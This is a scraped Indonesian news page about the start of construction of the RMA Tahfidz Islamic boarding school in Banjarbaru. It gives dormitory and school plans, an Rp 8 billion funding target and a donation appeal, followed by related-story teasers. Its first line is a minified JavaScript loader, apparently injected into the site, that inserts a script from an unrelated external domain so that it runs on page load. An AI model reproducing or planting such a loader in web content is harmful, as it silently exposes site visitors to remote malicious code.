(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Proyek pembangunan Ponpes Tahfidz Raudhatul Muta’allimin Annahdliyah (RMA) Guntung Manggis, Kota Banjarbaru sudah dimulai sejak seminggu usai peletakan batu pertama oleh Gubernur Kalsel Sahbirin Noor pada 5 Agustus 2020 lalu.
“Alhamdulillah sudah kita mulai pembangunannya, jadi setelah ada sumbangan dari donatur, langsung kita gunakan untuk membangun,” ungkap H Muhari, Ketua Yayasan Pesantren Tahfidz RMA , Minggu (13/9/2020).
Tahap pertama yang sedang dibangun adalah asrama untuk ara santri bertingkat dua dengan ukuran 17 x 12. Dengan Areal tanah sekitar 2070 meter persegi.
“Kalau berjalan lancar dan dananya ada, Insyaallah asrama akan mampu diselesaikan dalam waktu 4 bulan dengan 8 orang tukang bangunan yang langsung didatangkan dari Jawa,” katanya.
Ke depan apabila asrama sudah selesai dibangun, akan dilanjutkan pembangunan sekolah bertingkat tiga dengan ukuran 27 x 8 meter persegi.
“Kami mengekspos kegiatan pembangunan pesantren sebagai bentuk tanggung jawab kepada para donatur yang telah beramal sholeh dan jariyah,” ungkap Ustadz Muhari.
Ia juga mengetuk pintu para dermawan yang punya kelebihan rezeki agar sudi memberikan donasi, untuk penyelesaian pembangunan pesantren Tahfidz RMA ini. Bagi yang ingin beramal jariyah bisa secara langsung datang ke lokasi pesantren di Guntung Manggis atau via rekening Bank Kalsel Syariah dengan nomor 904.03.11.01150.8.
Diperkirakan secara keseluruhan total pembangunan pesantren membutuhkan dana sekitar Rp 8 miliar.
“Karena itu kami mencari 80 ribu donatur yang ingin beralam jariyah, cukup masing-masing Rp 100 ribu untuk beramal jariyah,” tambah Ustadz Muhari.
Kepada para donatur yang telah menyumbang, lanjut Ustadz Muhari mengucap terima kasih yang sebanyak banyaknya. “Semoga amal jariyah para donatur dibalas Allah, baik di dunia maupun di akhirat,” katanya.
Pondok Pesantren yang akan dibangun ini berbasis go green selaras dengan visi misi Gubernur Kalsel yaitu, menciptakan sumber daya manusia yang agamis cerdas sehat dan terampil.
Sebenarnya, Ponpes RMA sudah berdiri sejak setahun yang lalu namun, sementara ini masih menggunakan rumah untuk proses belajar mengajar. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.